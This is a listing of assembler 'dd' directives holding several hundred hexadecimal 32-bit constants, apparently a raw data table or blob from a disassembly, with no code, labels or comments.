		dd 0E4D900CEh, 70C470D0h, 9E5FACBAh, 540F463Bh,	0E410EA9Ch
		dd 42B0AB2Ch, 0AA5FD12Ch, 5A46693Ch, 706990AFh,	9A23805Ch
		dd 0C6B6D8D2h, 69A29A1Bh, 437C517Eh, 8ABAFE47h,	0F61AFB3Eh
		dd 2E29E0F4h, 0A8E66FADh, 0E8607A4Fh, 47CDDA0Eh, 0D011272h
		dd 0F1ABB945h, 89F4B809h, 490E84ECh, 9EE1DEC9h,	6AA10492h
		dd 19F3FEC1h, 0EB7ACC16h, 8AEA4D0Eh, 971EF83Bh,	71391DC8h
		dd 0EA0BF011h, 0B8ABC75h, 0FA2C1D5Dh, 69E63939h, 0CA16FED7h
		dd 0EF0ABF21h, 29541976h, 0B5A2F81Ah, 0C423E9E0h, 0E4468E88h
		dd 8C9BE860h, 8C3FD63Bh, 42E5FB1Fh, 62304C08h, 5246B6F2h
		dd 609E9FBCh, 78B220D7h, 0D6F23081h, 0EA912076h, 2DE14785h
		dd 0D05DB63Bh, 0CE69A0F4h, 0C8025A25h, 5569BAC5h, 0A2DB5B1Bh
		dd 8E6DE3B6h, 0A56985DFh, 0DFFCE0E3h, 0B5243F03h, 6CA97017h
		dd 6B0A9926h, 0D6FCDFBCh, 0A7169503h, 0DA5CDA30h, 0CA2C546h
		dd 0CA02C972h, 0A15317B1h, 0EC2147A1h, 8E5ABC83h, 0D41BD210h
		dd 0BA009E59h, 584D1E1Ch, 0DDEB811h, 57FBB895h,	0BC5C7165h
		dd 0A6F3F6E6h, 3E4286DCh, 39B8A195h, 8D9A0155h,	0DF69DE46h
		dd 1D46CA3h, 16B242AAh,	1B7A58F4h, 68C83E67h, 0FB2DE3DFh
		dd 6EAA9F2Fh, 0D6D87186h, 75547B4Eh, 0D0A118B2h, 0B7758003h
		dd 0D54E8792h, 408750DDh, 2520C11Ch, 0EE5806DAh, 0E9172D08h
		dd 70C716F4h, 0D52CE9D5h, 19DF2A03h, 0CB84F0E7h, 0D7558A4Dh
		dd 0B6EBF52Fh, 8DC2CAC9h, 0D2A5EE89h, 7BAD4703h, 0EE238007h
		dd 89A31204h, 2E28DD11h, 0EA310BAEh, 3330B2DBh,	2993ED28h
		dd 0D78DE285h, 0ABED819Fh, 590F41E7h, 99FF7F19h, 0CE51CFDEh
		dd 40E29936h, 0CE8D9AD7h, 0FFF6063h, 0B654AE05h, 0FBC87FA1h
		dd 9E4A4432h, 6C36A7D2h, 85B360DCh, 4032AB01h, 38291ECFh
		dd 0E3AC9907h, 0DE94F548h, 0B8C1C786h, 0F84D014Fh, 0C9E20CC0h
		dd 0C1AAAC02h, 0BB13BFA1h, 8A5E58D8h, 0A3A4FF8Ch, 8FA6A015h
		dd 0BFA89921h, 0FAED19F9h, 0F5551EDEh, 0BAE0EA1Ch, 0CE5EC821h
		dd 0D13F6733h, 0F52C1F79h, 8E7C0954h, 0CB047932h, 0B9034700h
		dd 0AA51D997h, 0D294F031h, 8BA4F915h, 0DC6DE108h, 34214E93h
		dd 0E9E874FDh, 0D18C0D73h, 0C967EDE9h, 4A16E391h, 9DF1B3D9h
		dd 0F55CDE93h, 0BFE4E7F9h, 0FBEFE719h, 0B7A298E3h, 6090AF9Ah
		dd 3999DE7Bh, 0F759DD1Ah, 0E21BA8F7h, 0F2211A2Ch, 4F24EED9h
		dd 5C4B4A15h, 0B2F7B238h, 1EB6BA02h, 0E610ECB3h, 0B2574719h
		dd 1521186Fh, 782E432Fh, 0B22DD4A5h, 3C5AB5AAh,	0BEDFAC7Fh
		dd 0CE275329h, 7248ABFDh, 0EB59DD18h, 548718F1h, 0B81ED44Bh
		dd 420F19EFh, 24079C3Fh, 76C96951h, 33B337BAh, 0B85151E0h
		dd 0BCFF70BCh, 5DE4CCB6h, 79649541h, 69B96B1Dh,	0C77ADB4Dh
		dd 91DB127Ah, 0CE1F0F0Bh, 0CA5D0789h, 10C46190h, 0DF4FEC74h
		dd 24479D26h, 0D43722EFh, 7C6938E1h, 1282126h, 3968591h
		dd 0D4005EB9h, 56ABD35Bh, 0B357A9E0h, 0D49928BFh, 0B53F6CDEh
		dd 1342F288h, 4184AD89h, 2E381F9Ah, 0A763AE8Bh,	0F92FEF83h
		dd 0D4337E4Dh, 0AD42598Eh, 0C86EAC55h, 41B338DAh, 7A6BEC64h
		dd 0E42FD7BCh, 0AF413E75h, 0F3AF808h, 0C621FBCFh, 2D386684h
		dd 4EFF79DDh, 0A401FD0Ch, 0B5CDE934h, 0E4B07D5Ch, 2D63FB35h
		dd 4AD1578h, 9B6CD355h,	0E0D11C5Fh, 971C00F5h, 577C3651h
		dd 7EE24B7Fh, 8C3199ADh, 5F2AEB7Bh, 3D221E6Fh, 0D0E29D0Eh
		dd 0D8EF56D7h, 2580EEFAh, 9FB2F2EFh, 0B5281FCFh, 55DDD979h
		dd 864E531Ah, 8F6712E5h, 3465F4E3h, 35BA8A30h, 26BCBD6Ah
		dd 0C17967D2h, 4F39735h, 0D9E25E38h, 0D3EE4A99h, 945D5842h
		dd 940D0BC8h, 7C4CA22Bh, 4321515Dh, 0B6FF4C78h,	0F779FECAh
		dd 0D50655A5h, 0E54D0696h
		dd 8BA5017Ah, 0ED472D93h, 0DB197B10h, 0AFD03B64h, 0C0385631h
		dd 9DB15BD7h, 0DB1C9B61h, 0E3DE1A56h, 6B756879h, 92B118ACh
		dd 333F1728h, 0D39FE8F9h, 753AE088h, 0C62502BFh, 27B41890h
		dd 8A508B95h, 1CECFEB8h, 5926A2B4h, 42BDA9DFh, 0A771B531h
		dd 0F6330DB4h, 0E90E19CFh, 25E99EEEh, 4A1C131Bh, 0C5D4AE76h
		dd 0E61C2EC8h, 0AF5B8315h, 6A8AB8C2h, 2772187Eh, 0EB44A5E9h
		dd 39A1E7AFh, 4DD9FB2Ah, 0DA96DF15h, 162EBF35h,	0DC7E5C6Dh
		dd 0AB96E52Fh, 0F444232Fh, 2B351FA8h, 0F4DCD9AFh, 2CC87883h
		dd 0C46EDE26h, 18CB0F30h, 0E5A14968h, 0CD3D70AFh, 0EF45D42Ch
		dd 2E275D87h, 0FEFE0522h, 53D2EFD1h, 5AAAADFCh,	214D01DDh
		dd 0E831D6BEh, 8B7AE78Fh, 0BC2DB70h, 0C93C0433h, 0C5E8713Fh
		dd 0EAA50E6Bh, 2C2E0363h, 0F4CD2CC1h, 0E2151DF7h, 0B1600E7Ch
		dd 6FF9C33Eh, 8E27ED24h, 0F5B183A3h, 5894A665h,	0FAECCA4h
		dd 2E26902Dh, 12F60FDDh, 0F4B1E431h, 0E2C472FCh, 0CDFDEC4Eh
		dd 0ED4D701Eh, 0EFDB40C0h, 846F088Bh, 7909A3CDh, 4D738C99h
		dd 2E263FE5h, 0A621D8EEh, 872931B0h, 46380634h,	0B6D9E91Eh
		dd 4E271B12h, 0C9D21B71h, 0CEE3ED96h, 0DB0978DCh, 970014CAh
		dd 200BD672h, 3A2C1214h, 0E93F9D21h, 0B6DA0CAh,	0C92C45B2h
		dd 3511048Eh, 0C889D2F2h, 4BE6589Bh, 0AA0E04CDh, 635EF94Dh
		dd 0C4FF19BBh, 0C321A01Dh, 0F623AF25h, 8626DA96h, 0D51DA8E6h
		dd 0E70D33C6h, 0FB30F057h, 4F21EEC9h, 0A845ED1Dh, 0F073C179h
		dd 0F4F89BC8h, 0A88E3882h, 0A3E8B023h, 24015D3Eh, 0AC8F86FEh
		dd 0F610F522h, 0E291BADDh, 0C53500F5h, 0FDFE6DAh, 0B833F635h
		dd 444BED5h, 912FEAC1h,	0C838A021h, 0C991275Ch,	0AE5CD002h
		dd 76122969h, 0EF852913h, 4BC4EAC8h, 45A0ACC5h,	0E37AA7F5h
		dd 4E58B759h, 0DB4E420Ch, 0AEA1A0C6h, 0F03A07E7h, 2646AF54h
		dd 1661137Ah, 572A125Ah, 0D061BE43h, 66740DDAh,	3BAC055Dh
		dd 85EDC38Eh, 0F2190564h, 2817C151h, 4E39E4FEh,	0F95CEACBh
		dd 189AD5Eh, 629F08AAh,	516A6576h, 2F46C3Ch, 0C9EE3BE6h
		dd 7B62D615h, 0BF929846h, 4FA6AFC9h, 0C1BE99B8h, 0CD75D784h
		dd 1D955436h, 0D747FD83h, 51013476h, 7A863115h,	6BC8AE97h
		dd 0B9752D39h, 0F9E28D24h, 838DB256h, 3769AB4Dh, 2D99E074h
		dd 4D79B5B3h, 32A0D850h, 0EA37D4DCh, 74E81911h,	0CE47F22Ch
		dd 52422437h, 2E5AD9CFh, 0BAB77AC4h, 0AD329718h, 23EBB81h
		dd 0BBB5B3DDh, 8FAAB1A8h, 2DD41FD5h, 9A5274A7h,	0B9E0A1B6h
		dd 28EFB409h, 0ADFE976Ah, 0A91EA97Ah, 526506A3h, 3DD8FC2Dh
		dd 0EDD760E2h, 0CE21476Ah, 5D191342h, 17BE949h,	4C20C8DDh
		dd 283B54Eh, 86062E96h,	1FB2BFB8h, 422EE4D2h, 9B7CE8CEh
		dd 79CBE906h, 6EB6F4F9h, 7D5565D1h, 4142AF52h, 0C8DB18B7h
		dd 737DCC75h, 0C5D8A545h, 94D7317Fh, 9636DB11h,	83F41894h
		dd 85D2114Eh, 0E9910029h, 0D2CF0ABDh, 17A4A68Eh, 58B2F0C6h
		dd 0B4DC1277h, 0C7533B63h, 0DDB76F79h, 254F86B6h, 0DD4B1A6Fh
		dd 0FAA06B53h, 12861D0Ah, 0FBD3E496h, 30B75EF7h, 0C4927052h
		dd 0ABBE1277h, 3141089Ah, 6354DE69h, 6A86A31Ch,	340D9C9Dh
		dd 0CBBAFE58h, 2DD48290h, 0CFD06C2h, 9F3A2385h,	2EBA6868h
		dd 0BEEF910Fh, 1E4347A3h, 287E9391h, 3B017F08h,	438D79A5h
		dd 609B5924h, 3C90B4C0h, 0E634A74Bh, 0F28345CEh, 88890BA1h
		dd 34D4F610h, 670A51A0h, 18370905h, 2E5E631Dh, 1FDEDB70h
		dd 70E09550h, 0CB12E116h, 430F6F2Fh, 44D9ED52h,	51618119h
		dd 99E51C78h, 2A8A6294h, 0BF19536Bh, 26679B67h,	3D4781E9h
		dd 40BB1D20h, 0F020F731h, 49C2BFEFh, 89574D59h,	26B698D2h
		dd 7820BD6Fh, 8750CA72h, 0C55B44C9h, 73418575h,	2DFFFDCDh
		dd 0A69DDDD8h, 3461D32h, 58103935h, 3B13ACCCh, 0B559D5F8h
		dd 9AE5F4F5h, 0B3420E20h, 2C41EF38h, 0FA2AC54Ah, 0C8A6361Ch
		dd 0AD713D07h, 0F52BECDBh, 0F450DC49h, 6110ED1Dh, 0C21E1D95h
		dd 0F4BBB6EAh, 931AF41Ah, 0EB28BDF9h, 0ED42391Dh, 0B389A10Fh
		dd 5C178798h, 0E1CEF4DDh, 6235B576h, 0E8CDEBF0h, 9FCF022h
		dd 0C0CDCFE6h, 0A332902Ch, 70A0DCFAh, 0BFF906CDh, 923FB709h
		dd 0F031D01Ch, 7067C59Dh, 0F6D8697Bh, 4B2A4F69h, 594664DCh
		dd 0FCD6B2CFh, 0ED3FA715h, 0AA5F9301h, 33FAAB76h, 2CEE68D1h
		dd 85EE9A6Fh, 2F1C3531h, 3A5F3E83h, 2817F554h, 0CF68FBC0h
		dd 0E02EA0E5h, 0A6EDF176h, 0AE3E021Ah, 4F50E119h, 0CC8EE883h
		dd 0C4FA1E12h, 2F8D9419h, 0BBBA4CB7h, 349515BDh, 8D116F8Bh
		dd 2B718328h, 0A92060B5h, 0C53076EBh, 9B2859CDh, 0ECDCCCDBh
		dd 0B29490B7h, 0C3991E76h, 451D2996h, 0BCD692B8h, 0A6D45EA1h
		dd 9BBC2A0Dh, 0E6602A21h, 0CACA39FEh, 0C54AF992h, 237E20FAh
		dd 0A9D2A22h, 71B1E0ABh, 0CDDDE5B1h, 0F6FD12DEh, 36B51C8Ch
		dd 0B7601309h, 0CE1F3C38h, 0C66FAC3Fh, 0F222FB99h, 8372B083h
		dd 0D844913h, 171EA2Dh,	0B77AE182h, 0EDBB84E5h,	21B1EC56h
		dd 0B65D8D01h, 0F5FF524h, 3A41050Bh, 2F46E365h,	0CE882A28h
		dd 433DF877h, 7B982D19h, 0A06645E6h, 0DD717A5Bh, 879DD66h
		dd 0C579D900h, 621F0401h, 0C154F8B9h, 2EA64EB1h, 0B92AE751h
		dd 0C1EC726Bh, 8971EC42h, 8579DB4Fh, 0CE2A986Ah, 7B423F8Fh
		dd 37C31A09h, 0C15EC590h, 3164030Ah, 0B20FB166h, 3195CF71h
		dd 65D609D0h, 9895B5D9h, 0B791587Dh, 5985F130h,	5F93B2ADh
		dd 21B380Eh, 3522F4CBh,	0B9316768h, 0DE27416Ah,	0D2F8436Eh
		dd 0DAB6C81h, 0B5F942D7h, 0D774FE1Dh, 0C5B68FB2h, 0F3B6C41Eh
		dd 68C1ABD3h, 5A7E4D4Fh, 0EBE1DC1Ch, 0C42CF4C8h, 62533356h
		dd 25A1AA53h, 5C0AFFB2h, 0A4DC8D67h, 0E76CECDEh, 5E9C362Fh
		dd 722EB7BFh, 0A1A27270h, 89EDDC94h, 2A29D1FAh,	41394362h
		dd 84C9D394h, 176A11Bh,	2FAA193Dh, 5D610297h, 1F0D1E2h
		dd 301C1F09h, 14DFC28Ch, 2FFB3924h, 0F85FACAFh,	0B779DCF9h
		dd 4038461h, 1E20539Fh,	49740AC2h, 41918C34h, 645297D4h
		dd 0D869CDC2h, 0F981191Dh, 2337CC4Fh, 0E5A7B348h, 72B0C4C1h
		dd 0E826F423h, 2D06FFBDh, 0A5B169F8h, 9DC43E5h,	3CA7F011h
		dd 0BDFFBA36h, 397031EFh, 6DB6BD11h, 0CC5D2AEBh, 0A2E6371Ah
		dd 912D0F1Ch, 2AFFEE85h, 457AD9FAh, 0F83EBF1Dh,	5C5AA471h
		dd 29B2F019h, 9DFE8D17h, 0BA779791h, 99FC4CC5h,	494F01F8h
		dd 0FE4778D2h, 0C90032EBh, 6C2C3AFDh, 2C508F5Eh, 33D367C3h
		dd 0F454A57Ch, 43E38C47h, 94E78C31h, 970C494h, 82E87B9h
		dd 2280940Fh, 0C216BCBCh, 18B6AEF8h, 0AB65D099h, 0D8C6DC64h
		dd 4C4A9581h, 0B88978B9h, 0F43AE1CEh, 0E8A792C7h, 159A2A76h
		dd 75D2A4E1h, 0B3BA8274h, 5200055Bh, 710F3088h,	5890F664h
		dd 4FBAC5D2h, 0A920E958h, 0C9ED8E66h, 2DA11234h, 0C9063939h
		dd 0D3D0D6Bh, 0FC7C2314h, 0B4A1D2DAh, 0C6D18125h, 0B5F0EE57h
		dd 0BEED01D1h, 468B16DFh, 901EAF48h, 46393B4Ah,	0BCDC78Bh
		dd 0AB9CEF91h, 0FC68CCD9h, 0A83A923Dh, 9675A782h, 78B8875Fh
		dd 0FB12AAABh, 673939AEh, 5221654Bh, 9998377Bh,	9530539Bh
		dd 0E03D2F60h, 0B943807Eh, 0ABDC42FDh, 0F1D7048Ch, 0D80FAB1Eh
		dd 27C9BB72h, 49BD684Eh, 3D73E3C9h, 7BDD165Fh, 695D5191h
		dd 7E5EFE6Ch, 4B77C162h, 0CDCD57F8h, 1B076C1h, 8F3DEC61h
		dd 0EF024618h, 36010BDDh, 0D7BB35B2h, 0D54AD8E6h, 6B1042Bh
		dd 0F60A06DFh, 0B339C27Ah
		dd 0FE3571F3h, 0D0FB967h, 4373D563h, 0C548CC5Eh, 0CB9067B9h
		dd 0AE32B8DCh, 5872B54Eh, 0E5374B5Bh, 68968348h, 0F309F660h
		dd 7B54E134h, 4B1CF365h, 64D6E109h, 0A0517B5h, 4B682697h
		dd 3D7AEBD7h, 0ECDB714Bh, 0F5CDE995h, 3DEF6CBDh, 0B1862AB3h
		dd 81AAFE38h, 92504132h, 8AB9F276h, 0C605202Dh,	18A6513Fh
		dd 31BA08FCh, 0F65FB68Fh, 0D2DDF44Fh, 0AD81A0F2h, 0DC72F875h
		dd 8231DFEBh, 308EF49Eh, 2E3E9D3Dh, 4984BF20h, 70DA8E1Fh
		dd 1C5B3F9h, 6CED02FEh,	8632E128h, 9276DFDEh, 4812F751h
		dd 12E0C52Bh, 2E50D48Ah, 67C74D25h, 12C42951h, 9E0FEDF2h
		dd 3F1BF364h, 0E73FE450h, 7AC9A4BFh, 0EAF36E21h, 0EDDDC064h
		dd 381A073Eh, 7C6B3748h, 0ADEBDD11h, 848A613Eh,	0CE592BDDh
		dd 0DD93ACB3h, 0E42AA7D8h, 2D90C298h, 0E3CD3499h, 0FAF1C0C8h
		dd 6BC3AED1h, 31C99CAFh, 95F9BEB2h, 4875F925h, 0BE765EEAh
		dd 8AC2B06Ah, 0A4916FB3h, 7D89C339h, 330F1D82h,	0B1D805C6h
		dd 0E0DE00D1h, 3E011220h, 798E3584h, 0B83FE525h, 376349DAh
		dd 1340E8D2h, 0CC90B131h, 3727FD75h, 0E9EFA5E3h, 0FB83A13Dh
		dd 27F8BBD5h, 9F6877Dh,	0C96D8F8Ch, 682715C6h, 0B99D1DF5h
		dd 0AA05EBF7h, 44B995C3h, 5700D81Dh, 5C598D38h,	0F77F3A15h
		dd 0F4740276h, 434DC4EEh, 9AFFAFDBh, 0BF5DA896h, 3C973885h
		dd 85C5093Ch, 0DD5FB9CEh, 0E2253E22h, 0FA26BBB4h, 0B3C6DC9Fh
		dd 3EF0F08Ch, 0DBADADFh, 507ABFDBh, 0C4BCB164h,	2802BAFh
		dd 5FDDE459h, 59C869E0h, 0A00E2ED3h, 1D0FA6BFh,	994DBC55h
		dd 96068F96h, 1F35C7F8h, 41FEF8D0h, 7516DBE4h, 1879FCDDh
		dd 8568969Dh, 8367EAD1h, 0B72286B6h, 0BA321070h, 0A71B18AFh
		dd 0FFBF9328h, 0E6ADB028h, 0B0F41E5Eh, 7A42D006h, 0CD9E9BB3h
		dd 2D05607Fh, 9BC15C7Eh, 0CA16E135h, 3838FE89h,	9A3123FAh
		dd 8DEF6E63h, 0DCE8A94Eh, 697BA423h, 0EA5C9ED7h, 0EF70B4CEh
		dd 88300912h, 0BEC4A78Dh, 68BBACA0h, 352C78B5h,	3422FB58h
		dd 524EB25Fh, 0CBEE66E0h, 367A8C8Fh, 0D1293A5Eh, 0DD38A179h
		dd 0E5022870h, 204165E7h, 3F2A4355h, 2BF3F3Eh, 1C3ACC1Ah
		dd 70613E6Fh, 96851990h, 48384E67h, 901BE0E4h, 3DC8EFC2h
		dd 44B663D6h, 0E5B88444h, 0BDF88FB6h, 1F029475h, 0C180744Ah
		dd 0DB0F1C2Dh, 7C75A71Ch, 9D61E13Ch, 399B44F3h,	8CDCA2D5h
		dd 0CD4F6CD4h, 433730C6h, 3EF31C4h, 0EC2BD8B8h,	7E37696Dh
		dd 0A1E5F6EDh, 39E71F07h, 74BB6CA4h, 459191Dh, 38BAD0E9h
		dd 1C601549h, 0DE99695Fh, 81237C70h, 0D3D305FDh, 3BE6156Dh
		dd 42145A39h, 0EC6F244Dh, 79E5908Fh, 488FDD2h, 77C544C9h
		dd 11A1E090h, 0DBEC6680h, 0AE2AB73Ch, 140AEC68h, 35A4B285h
		dd 6761E9B3h, 0CE328146h, 3D532EB4h, 0D01E2EA4h, 46246497h
		dd 9A0C6CCEh, 0DDB8F682h, 0C59D459Dh, 0DF114EB2h, 3FED0125h
		dd 4E16DE8Bh, 89098FE5h, 0A84C6D26h, 0B21F5926h, 8E3043ACh
		dd 87A6BD3Eh, 440E44A9h, 0C8CE915Fh, 5E0FFF0Bh,	3415B782h
		dd 0F69C9C4Bh, 3870F49Dh, 0D6E26F9Bh, 7576985Eh, 0E26CA61Fh
		dd 572EFB99h, 151130BAh, 79A307F1h, 37A2C4B0h, 7083B62Ah
		dd 0DBC76E8Dh, 157A9F08h, 0E0C15C3Ah, 0D4B52185h, 9C12840h
		dd 2EFD28BEh, 7AB9A71Ah, 0EC7AFCCDh, 7F41345Fh,	99F9D909h
		dd 147AEB89h, 0B1F7616Eh, 264384h, 6D82B009h, 0E23F3505h
		dd 61B1BCD1h, 31B31924h, 8004FEADh, 592B23EDh, 0B8FD8449h
		dd 7D4D309h, 0C011847Eh, 7AC2B9CFh, 4D4E6D13h, 0FB24BF34h
		dd 0C4D926E9h, 6AB22DCh, 86F2C89Fh, 6C419133h, 654982B2h
		dd 6E236B1h, 0FA302EAAh, 0BB622695h, 3C94562Ah,	3F7AE679h
		dd 0B3244099h, 0B960DE46h, 0D4385ADDh, 0DC637715h, 98D58ED2h
		dd 76ABCFDh, 2631586Dh,	8BDB2DF9h, 0B7072C5h, 82282DE4h
		dd 79FAFE17h, 0B5DACDCCh, 310B94DCh, 7D6FF81Bh,	0D6DC80DDh
		dd 0A609E973h, 942D3A0h, 3BC16205h, 0AFEE4C7Bh,	493B7ED7h
		dd 130E28EBh, 7E178D39h, 0B9C2F9EAh, 15D6E0Eh, 0CE1CF9D7h
		dd 0EA36A139h, 4CBFAC94h, 17D629ABh, 0CDB181A3h, 3CE7A5F9h
		dd 3C8167F6h, 0A25AB1E4h, 0C6CDDE58h, 0F9FAA2F9h, 8A17E119h
		dd 3C196512h, 720D2345h, 12F7DACFh, 590174D6h, 0EA8065B8h
		dd 3B128C94h, 24E9836h,	573E33Fh, 89F8D911h, 1FAB882Fh
		dd 66105D0Dh, 0DB05380Ch, 0E9169C21h, 5B67B280h, 0E8B4B2E1h
		dd 0D5C9A0B7h, 3306675Ah, 6090A004h, 2CDCD43Eh,	10F7266Ch
		dd 0F5D990C0h, 45B429BDh, 9A421EAAh, 4DE83566h,	7EE3AE21h
		dd 0BFA1C399h, 0C3CA1022h, 6B63E81Ch, 3141EC1h,	9E26E924h
		dd 0C10B903h, 8CFC8D1Fh, 1039A927h, 3A1D074Bh, 0BFEC783Dh
		dd 866BD9FDh, 3D43FF53h, 1B38E758h, 0A51CC5F1h,	0C36CAA9Dh
		dd 3DFB2249h, 45A42665h, 73CC5D0Ch, 9D572803h, 21D96F9Ch
		dd 2C02BB54h, 7A7765DFh, 66ACC529h, 9548011Ah, 0C140D12Fh
		dd 0F5FD1083h, 0FEF37946h, 0BE64222Fh, 31032C83h, 0FB2FCB26h
		dd 0C14A379Dh, 0C15AE52Ch, 7461015Dh, 0C62758C9h, 0A3992734h
		dd 93DEF09Ch, 8993B957h, 5A3F2EE7h, 9DAB49E1h, 7D34C5EFh
		dd 7E32E821h, 34034F5Fh, 0F50B270Ah, 0C1A1592Ah, 0ED9A3689h
		dd 0EA99DD42h, 74E3609Bh, 0C6362941h, 0F56623EAh, 5EA8B7E4h
		dd 35C4919Bh, 0BDFCE400h, 0C1B0D455h, 142AE11Bh, 310E613Dh
		dd 0F80FAFECh, 8C22B7ECh, 1F60CDCEh, 0B5E5067Dh, 91620A89h
		dd 7702B5D0h, 65C05BBDh, 8A80D0ABh, 0D410C85Fh,	71FB7C0h
		dd 0FCD940D1h, 4813CCD1h, 0AF442F42h, 8DF132h, 462D8758h
		dd 8C066869h, 0F9DE9056h, 0DD218550h, 38BC4F51h, 6890F22h
		dd 44CC392Dh, 4032A50Fh, 9B41EF5Eh, 48F21849h, 0B9659315h
		dd 8E6CC02Ch, 0E6C53746h, 46F0F0A4h, 9089ED48h,	0C51BD52h
		dd 518EEC86h, 89F21F61h, 65DEAC51h, 387CC59Dh, 3BC2E0D6h
		dd 0C4F9C193h, 991FD9Dh, 0E8F01FBEh, 161DCE48h,	709D8D94h
		dd 8F1FD77Eh, 44E4FF28h, 0B96C8E68h, 2602F428h,	4CDA231Ch
		dd 5ADC380h, 0F4C217C9h, 4E5FE0D9h, 9FCE8568h, 0F79E944Fh
		dd 76DB8180h, 0BAFCBDEFh, 0F5EE7423h, 0D540717Bh, 95F94FE9h
		dd 4DEADE8Bh, 0D79C193Fh, 0AFD95C4Ah, 0B0ADA142h, 5A11241Bh
		dd 0E91C36F8h, 34D7A482h, 4C9017F7h, 0AAE32AC1h, 91022779h
		dd 6E673756h, 7270EF01h, 462DBC5Fh, 0D4BAF0A9h,	5F835CB8h
		dd 89508924h, 96E9FF09h, 85311DC5h, 9767EE75h, 27F25CF0h
		dd 0DA584929h, 0BA57DCD9h, 715661Bh, 0D322E338h, 0E5B0067Eh
		dd 3BCDD44Fh, 0B4EEB34Fh, 0AF135D52h, 3D47F866h, 9E1B73A5h
		dd 6011298Fh, 3E855B57h, 0CD9E2E2Eh, 0BF901020h, 0A12CED9h
		dd 7DB25BA3h, 6213DAEFh, 0A8E2B152h, 54DC6445h,	0B831F3ABh
		dd 0BBEA9D18h, 1401154Bh, 69FA390Eh, 7B867E27h,	0DA196749h
		dd 0FC715877h, 0FF9EDBDDh, 0BF6C67Bh, 230592Fh,	0EDB01B9Fh
		dd 0D4B612Ah, 0EDAA93E7h, 9EAE5F3Ah, 293024E9h,	83CE1855h
		dd 0C41846F8h, 0C048AA08h, 5B49C570h, 0D1C08AD1h, 0EB759026h
		dd 0ED9EEEF6h, 4A5CCC31h, 0F79D302Eh, 3193FE64h, 0D303B477h
		dd 7DCC764Dh, 40901538h, 843BECD5h, 0B35E74B3h,	0C596C3E6h
		dd 1B963C73h, 9F70BDh, 0CD699903h, 787017C3h, 0CEA6B08Dh
		dd 877A1A95h, 0F98BCD8Dh, 36DD63E3h, 0AD7AD83Ch, 12036AFCh
		dd 5D5D7C0Bh, 0ACBB5143h, 44E1E11Fh, 6091B3EBh,	0D9208C22h
		dd 169CF909h, 66E31A6Fh
		dd 27A09137h, 15AE053h,	0C3611256h, 0F737114Ch,	367C5E8Ch
		dd 342C0BDh, 0A672F17Ah, 0C6A41253h, 674025FFh,	0D767D415h
		dd 3A1C860h, 768A7D03h,	0CDA2A905h, 0E6CB4350h,	2E802204h
		dd 503FF942h, 0BD182CB9h, 1E8EA41h, 3FA1AE0Bh, 609AE91Fh
		dd 3666ADA6h, 6171A0Eh,	7303FFF8h, 0B5E90D25h, 1409391Dh
		dd 57FB5D9Eh, 0CC47C6D2h, 0FAC43Fh, 0C1240B27h,	0BBBF227Dh
		dd 3A1D4DF8h, 0BE56A6A0h, 0F27D00C2h, 2F97D689h, 31000BDh
		dd 67E19B03h, 76221200h, 48535FB0h, 0BE2BB07h, 0D325934h
		dd 1F3E2121h, 97FBE50h,	17C1F03Bh, 969986EFh, 9F95D16Fh
		dd 0B79A502Eh, 5F9A652Eh, 0AB652F2Eh, 802A5C1Bh, 0DBAA221Dh
		dd 2A9FF0F1h, 39B08D26h, 0B852B7E2h, 8F1BF0A6h,	0A631AC05h
		dd 98D804Eh, 12D9DE88h,	13D61922h, 48919665h, 590A595h
		dd 0D1DC5CEEh, 259A522Eh, 0BDDC26D1h, 3DDA5633h, 0A5A25987h
		dd 85A25B3Dh, 4DA45797h, 0E069503Fh, 0E2DA9B41h, 6BD9114Ah
		dd 910284Eh, 9268890h, 1DBC2890h, 9F59890h, 1DF818FAh
		dd 4092EE65h, 3897E395h, 0B98AF715h, 0BDC51FCh,	0CE2C576Eh
		dd 0EAD55779h, 2CFF5BC2h, 253FEABBh, 1CA1DEBAh,	9E7011Ah
		dd 10792192h, 14A198D8h, 1C469880h, 0BC2FCF8h, 0EB0B5B12h
		dd 0F4F354B9h, 7ECD5482h, 0B9E2B07Bh, 0F754DD4Ch, 2B304B73h
		dd 9E4D5DB9h, 0AED94C2Ah, 721615Dh, 4731F255h, 1F205BE8h
		dd 0F9535D7Fh, 0E9CA8C0h, 0D790A58Fh, 66B3B938h, 0C1A4F700h
		dd 15267C94h, 0CD0AB5A4h, 8B50C703h, 0BBF552A1h, 0B8BAAAF2h
		dd 0E6C04694h, 4E0FC2BFh, 0FA2D6B14h, 0FA53A510h, 960F5059h
		dd 0E27CE353h, 164D6092h, 8BB2F0AFh, 92DD1244h,	0F69E5128h
		dd 46705CE9h, 0F214CBAh, 2BD95CD9h, 0F3A14CA8h,	68A75CCFh
		dd 0F42F6B9Ch, 76316F03h, 912D064Fh, 0F79E4881h, 313050E0h
		dd 761511A8h, 0D792951Dh, 0AA9780B1h, 702F4A48h, 0F6B16502h
		dd 38B050D6h, 0D79F9589h, 0ACDF281h, 1AFD5D88h,	8790D6B1h
		dd 2612124Dh, 0D01F481Dh, 0E4E96974h, 68909115h, 0C62E900h
		dd 33615982h, 605920EAh, 1BD45E4Dh, 10B7FE39h, 0E80BA15h
		dd 776398E2h, 1B0D192Eh, 4890F07Dh, 0DD8B5F95h,	5BA453A7h
		dd 0BF90A0E8h, 16B0F5BCh, 418F4D3Dh, 0CD805B2Eh, 19E14EA9h
		dd 443E64BCh, 64BE18BFh, 489195DDh, 0B946395h, 260C52DAh
		dd 0BDC56AAh, 0EB0B4089h, 581F498Fh, 2FC2F347h,	0A0109BB9h
		dd 5ADAE9BCh, 135A89BDh, 137F11B2h, 0D0F0F3BCh,	7062CBBBh
		dd 6D3E64BDh, 12C0DEB8h, 418C6E3Dh, 4B003E7Ah, 1CFAC06Fh
		dd 18C21892h, 46966AE5h, 0BE970695h, 0FD9607CFh, 0EAA54173h
		dd 2459486Ah, 1D6A5EB9h, 1972FE19h, 0B895C15h, 5C2D4C5Dh
		dd 30DA9B56h, 133921BDh, 66BC5E5Ah, 132B191Ah, 40855F65h
		dd 58838D15h, 0F8977F4Fh, 0B78A7015h, 318E722Ch, 0D68E172Eh
		dd 0C544C59Dh, 7E5644FEh, 25516576h, 692312BAh,	805AC0BDh
		dd 66075618h, 0D786824Fh, 73E13918h, 4CC149Fh, 3ACC0ECDh
		dd 522F155Dh, 0B57F484Ch, 3DDA56B1h, 0BCDA4957h, 1D22CF0Ch
		dd 0C7B190D6h, 4DB1E1BBh, 2641E71Eh, 1B81E245h,	0E27DF2BBh
		dd 0F68C0F0Dh, 0E07EEE9h, 0E35A8986h, 18F993B8h, 356A07BDh
		dd 8BB9713Dh, 861B5503h, 34549BF9h, 0A5791517h,	2D5F5B26h
